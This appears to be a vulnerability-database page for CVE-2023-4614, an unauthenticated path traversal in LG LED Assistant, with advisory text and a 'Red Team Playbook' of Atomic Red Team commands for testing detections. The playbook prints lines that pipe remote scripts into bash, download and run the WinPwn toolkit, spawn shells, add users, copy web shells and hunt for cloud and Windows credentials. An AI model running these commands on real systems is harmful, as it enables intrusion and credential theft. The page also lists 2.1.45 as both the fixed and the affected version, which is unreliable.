CVE-2023-4614
Overview
The vulnerability is a path traversal flaw within the LG-LED Assistant software, specifically in the /api/installation/setThumbnailRc endpoint. It arises from insufficient validation of user-supplied file paths before they are used in file system operations. This improper sanitization allows manipulation of file paths, affecting the installation component responsible for handling thumbnail resources.
Vulnerability Description
This vulnerability allows remote attackers to execute arbitrary code on affected installations of LG LED Assistant. Authentication is not required to exploit this vulnerability. The specific flaw exists within the /api/installation/setThumbnailRc endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the current user.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with the privileges of the LG-LED Assistant process. This can lead to full system compromise, including unauthorized data access or service disruption. The exploit requires only network access to the vulnerable endpoint, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The critical severity (CVSS 9.8) reflects the high impact on confidentiality, integrity, and availability of affected systems.
Solution
LG Electronics has released a security update addressing this issue in LG-LED Assistant version 2.1.45. Administrators should apply the patch as detailed in the vendor advisory at https://lgsecurity.lge.com/bulletins/idproducts#updateDetails. The advisory includes instructions for updating the software to remediate the path traversal vulnerability. No alternative workarounds are specified; timely patching is recommended to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in LG LED Assistant arises from inadequate validation of user-supplied input within the /api/installation/setThumbnailRc endpoint. This flaw allows an attacker to manipulate file paths, leading to arbitrary code execution in the context of the current user. The lack of authentication requirements further exacerbates the risk, as it enables unauthenticated users to exploit the vulnerability without needing any credentials or prior access to the system. The underlying issue stems from the application’s failure to sanitize input properly, which could allow malicious actors to craft requests that execute unintended commands or scripts on the host machine.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could send specially crafted requests to the vulnerable endpoint, providing a malicious file path that the application would unwittingly execute. This could be done remotely, making it particularly dangerous as it does not require physical access to the device or any form of authentication. Scenarios could include an attacker targeting a network of devices running LG LED Assistant, potentially leading to widespread compromise if multiple installations are vulnerable. The ability to execute arbitrary code means that attackers could install malware, exfiltrate sensitive data, or even pivot to other systems within the same network.
The real-world impact of this vulnerability can be significant, especially for organizations that rely on LG LED Assistant for their operations. The high CVSS score of 9.8 indicates a critical risk level, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of sensitive information, and disruption of services. For businesses, the ramifications could extend beyond immediate technical issues, potentially leading to reputational damage, regulatory fines, and loss of customer trust. The financial implications of a data breach or system compromise can be substantial, making it imperative for organizations to prioritize the remediation of such vulnerabilities.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify affected installations and assess their exposure. Additionally, organizations should enforce strict input validation and sanitization practices within their applications to prevent similar vulnerabilities from being introduced in the future. Updating to the latest version of LG LED Assistant, which addresses this flaw, is crucial. Furthermore, implementing network segmentation and access controls can limit the potential impact of an exploit, reducing the attack surface and preventing unauthorized access to sensitive systems.
In conclusion, the vulnerability in LG LED Assistant presents a serious threat due to its potential for remote code execution without authentication. The ease of exploitation and the severe consequences of a successful attack necessitate immediate attention from affected organizations. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems and protect against the risks posed by such vulnerabilities, ensuring the integrity and security of their operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Lg | Lg Led Assistant | 2.1.45 |
cpe:2.3:a:lg:lg_led_assistant:2.1.45:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-4614 |
| lgsecurity.lge.com |
GitHub CVE
vendor-advisory
|
https://lgsecurity.lge.com/bulletins/idproducts#updateDetails |
| zerodayinitiative.com |
GitHub CVE
third-party-advisory
|
https://www.zerodayinitiative.com/advisories/ZDI-23-1222/ |